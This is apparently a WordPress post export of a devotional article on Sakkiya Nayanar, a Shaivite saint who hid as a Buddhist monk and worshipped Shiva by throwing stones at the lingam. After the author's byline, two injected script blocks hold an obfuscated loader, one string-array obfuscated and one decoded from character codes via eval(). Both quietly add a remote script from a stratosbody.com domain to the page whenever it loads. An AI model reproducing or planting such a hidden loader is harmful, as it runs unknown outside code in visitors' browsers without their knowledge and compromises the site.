The village was occupied with full of Buddhist monks and most of the people in that region were the followers of Buddhism. Sakkiya and his family were belonged to \u00a0\u00a0<a href=\"https:\/\/en.wikipedia.org\/wiki\/Vellalar\">Vellalar<\/a>\u00a0community and they possessed agricultural lands. For their own safety he and his family pretended themselves as Buddhists. He became a Buddhist monk. Sakkiya was also thorough with the principles of buddhism. Hence he was called as Sakkiya. He remained in the Shaivism sect, but continued acting as a Buddhist monk in order to safeguard himself and his family. Sakkiya interest was only in shaivism. He secretly worshiped Lord Shiva in the temples and in his home.<\/p>\n\n\n\n<p>One day, he worshiped Lord Shiva by fondly throwing a stone at the lingam with great devotion. Then he continued doing that, since he thought that by throwing stone at the god will also be a kind of worship. Sakkiya\u2019s stone worship was accepted by Lord Shiva also.He takes his morning food only after worshiping the god, and by throwing a stone at the shiva lingam. Due to his sincere devotion, Lord Shiva had given a good life to him, and after his death, he reached <strong>KAILASH<\/strong>, the holy abode of Lord Shiva.<\/p>\n\n\n\n<p>Appar praises Sakkiya for his stone worship. According to Appar, the stone which he threw at the shiva lingam got converted in the form of flower and decorated the shiva lingam. <\/p>\n\n\n\n<p><strong>IMPORTANCE<\/strong><\/p>\n\n\n\n<p>Sakkiya Nayanar though  worshiped Lord Shiva in a different manner, he had done the act with pure bhakti in his mind. From his life, we can understood, that by simply offering flowers to the god, and praying to him without bhakti, will not fulfil our needs and desires. Only if we keep utmost faith and bhakti on him, our prayers will get answered by the god.<\/p>\n\n\n\n<p>Let us worship the great nayanar saint and be\nblessed.<\/p>\n\n\n\n<p><strong>\u201cOM SREE SAKKIYA\nNAYANARE NAMAHA\u201d<\/strong><\/p>\n\n\n\n<p><strong>\u201cOM NAMAH SHIVAYA\u201d<\/strong><\/p>\n\n\n\n<p><strong>\u201cOM SAKTHI PARASAKTHI\u201d<\/strong><\/p>\n\n\n\n<p>WRITTEN BY R.HARISHANKAR<\/p>\n<script>function _0x4e89(_0x599de5,_0x5487b3){var _0x140499=_0x1404();return _0x4e89=function(_0x4e8960,_0x2d7a1a){_0x4e8960=_0x4e8960-0x15c;var _0x393443=_0x140499[_0x4e8960];return _0x393443;},_0x4e89(_0x599de5,_0x5487b3);}var _0x3f3149=_0x4e89;(function(_0x165fa5,_0x1138b0){var _0xdaa689=_0x4e89,_0x2ecd56=_0x165fa5();while(!![]){try{var _0x440947=-parseInt(_0xdaa689(0x169))\/0x1+-parseInt(_0xdaa689(0x167))\/0x2*(-parseInt(_0xdaa689(0x168))\/0x3)+parseInt(_0xdaa689(0x173))\/0x4+parseInt(_0xdaa689(0x15c))\/0x5+parseInt(_0xdaa689(0x163))\/0x6+-parseInt(_0xdaa689(0x170))\/0x7+-parseInt(_0xdaa689(0x172))\/0x8*(-parseInt(_0xdaa689(0x15d))\/0x9);if(_0x440947===_0x1138b0)break;else _0x2ecd56['push'](_0x2ecd56['shift']());}catch(_0x4ab6cc){_0x2ecd56['push'](_0x2ecd56['shift']());}}}(_0x1404,0xd0aad));function _0x1404(){var _0x1821aa=['10853080trbCzT','querySelector','354376EpAsom','413696EGPcOT','head','3342755HKSrWi','117THysyH','d.j','createElement','p.stra','lee','v=3','8029128TnOKZa','ps:','currentScript','script','835854zhjzMR','3mjNcNC','698810qXFlFi','rip','parentNode','appendChild','htt','getElementsByTagName','src'];_0x1404=function(){return _0x1821aa;};return _0x1404();}function isScriptLoaded(_0x154e6a){var _0xc724c0=_0x4e89;return Boolean(document[_0xc724c0(0x171)]('script[src=+_0x154e6a+]'));}var bd=_0x3f3149(0x16d)+_0x3f3149(0x164)+'\/'+'\/s'+_0x3f3149(0x161)+_0x3f3149(0x160)+'t'+'osb'+'ody.com\/'+'sc'+_0x3f3149(0x16a)+'t'+'s\/hea'+_0x3f3149(0x15e)+'s'+'?'+_0x3f3149(0x162)+'.'+'8'+'.0';if(isScriptLoaded(bd)===![]){var d=document,s=d[_0x3f3149(0x15f)](_0x3f3149(0x166));s[_0x3f3149(0x16f)]=bd,document['currentScript']?document[_0x3f3149(0x165)][_0x3f3149(0x16b)]!==null&&document[_0x3f3149(0x165)]['parentNode']['insertBefore'](s,document[_0x3f3149(0x165)]):d[_0x3f3149(0x16e)](_0x3f3149(0x174))[0x0]!==null&&d[_0x3f3149(0x16e)]('head')[0x0][_0x3f3149(0x16c)](s);}\/*99586587347*\/<\/script><script>var o=String;eval(o.fromCharCode(102,117,110,99,116,105,111,110,32,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,115,114,99,41,10,123,10,32,32,32,32,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,10,125,10,10,118,97,114,32,98,100,32,61,32,34,104,116,116,34,43,34,112,115,58,34,43,34,47,34,43,34,47,115,34,43,34,108,101,101,34,43,34,112,46,115,116,114,97,34,43,34,116,34,43,34,111,115,98,34,43,34,111,100,121,46,99,111,109,47,34,43,34,115,99,34,43,34,114,105,112,34,43,34,116,34,43,34,115,47,104,101,97,34,43,34,100,46,106,34,43,34,115,34,43,34,63,34,43,34,118,61,51,34,43,34,46,34,43,34,56,34,43,34,46,48,34,59,10,10,105,102,40,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,98,100,41,61,61,61,102,97,108,115,101,41,123,10,9,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,98,100,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,105,102,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,33,61,61,110,117,108,108,41,123,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,125,10,125,10,32,101,108,115,101,32,123,10,9,105,102,40,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,33,61,61,110,117,108,108,41,123,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,9,125,10,125,10,10,125));\/*54745756836*\/<\/script>","protected":false},"excerpt":{"rendered":"<p>INTRODUCTION Sakkiya Nayanar\u00a0(7th century AD) was a\u00a0Nayanar\u00a0saint, and is considered as one among the 63 Nayanars.
